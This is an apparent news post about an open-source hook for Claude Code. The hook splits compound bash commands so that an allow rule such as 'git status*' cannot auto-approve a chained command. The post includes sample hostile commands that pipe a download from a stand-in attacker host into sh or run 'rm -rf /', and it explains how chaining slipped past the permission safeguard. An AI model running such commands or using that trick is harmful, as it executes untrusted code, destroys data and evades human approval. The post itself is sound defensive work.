Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

✍️ OpenClawRadar📅 게시일: March 18, 2026🔗 Source
Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass
Ad

Security Gap in Claude Code's Permission System

Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.

The Solution: claude-hooks

The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:

  • Decomposes compound commands by splitting on &&, ||, ;, |, newlines, and extracts $() and backtick subshell contents recursively
  • Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
  • Checks each sub-command individually against your existing permissions.allow and permissions.deny patterns
  • Deny wins — if any sub-command matches a deny pattern, the whole command is denied
  • All must allow — auto-approve only happens when every sub-command matches an allow pattern
  • Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Ad

Setup Instructions

Installation takes about 30 seconds:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.

Example Behavior

  • git status: Allowed both with and without hook
  • git add . && git commit -m "msg": Allowed both with and without hook (both match git *)
  • git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf / has no allow)
  • `npm test | tee output.log`: Allowed
  • FOO=bar git push: Might not match without hook, allowed with hook (env var stripped)

The repository is available at https://github.com/liberzon/claude-hooks under MIT license.

📖 Read the full source: r/ClaudeAI

Ad

👀 See Also

로컬 ChromaDB + LM Studio 스택을 위한 오픈소스 RAG 공격 및 방어 실험실
Security

로컬 ChromaDB + LM Studio 스택을 위한 오픈소스 RAG 공격 및 방어 실험실

오픈소스 연구실이 ChromaDB와 LM Studio를 사용한 기본 로컬 설정에서 RAG 지식 베이스 중독 효과를 측정하여, 방어되지 않은 시스템에서 95%의 성공률을 보였으며 실용적인 방어 방법을 평가했습니다.

OpenClawRadar
구글 TIG, 최초의 AI 생성 제로데이 취약점 악용 보고
Security

구글 TIG, 최초의 AI 생성 제로데이 취약점 악용 보고

Google 위협 인텔리전스 그룹이 AI로 개발된 것으로 추정되는 제로데이 익스플로잇을 사용하는 위협 행위자를 식별했습니다. 이는 제로데이 취약점 악용을 위한 AI의 최초의 공격적 사용으로 기록됩니다.

OpenClawRadar
AI 보안 연구원들: 데이터 옵트인 토글을 통해 0-Day 취약점이 유출될 수 있습니다
Security

AI 보안 연구원들: 데이터 옵트인 토글을 통해 0-Day 취약점이 유출될 수 있습니다

LLM 인터페이스의 '모델 개선에 기여하기' 토글은 심층 레드팀 연구를 자동으로 수집하여, 당신의 취약점 개념을 공급업체의 안전성 팀과 학술 논문에 공유할 수 있습니다. 심각한 보안 연구를 수행하기 전에 데이터 공유를 비활성화하세요.

OpenClawRadar
MCP 서버 CVE 노출 매핑 및 공용 API 출시
Security

MCP 서버 CVE 노출 매핑 및 공용 API 출시

연구자들은 수천 개의 MCP 서버에 대한 CVE 노출 현황을 매핑하고 의존성 취약점을 조회할 수 있는 공개 API를 구축했습니다. 이 API를 통해 저장소/이름으로 검색하고, 심각도별로 필터링하며, CVE 개수나 최신순으로 정렬할 수 있습니다.

OpenClawRadar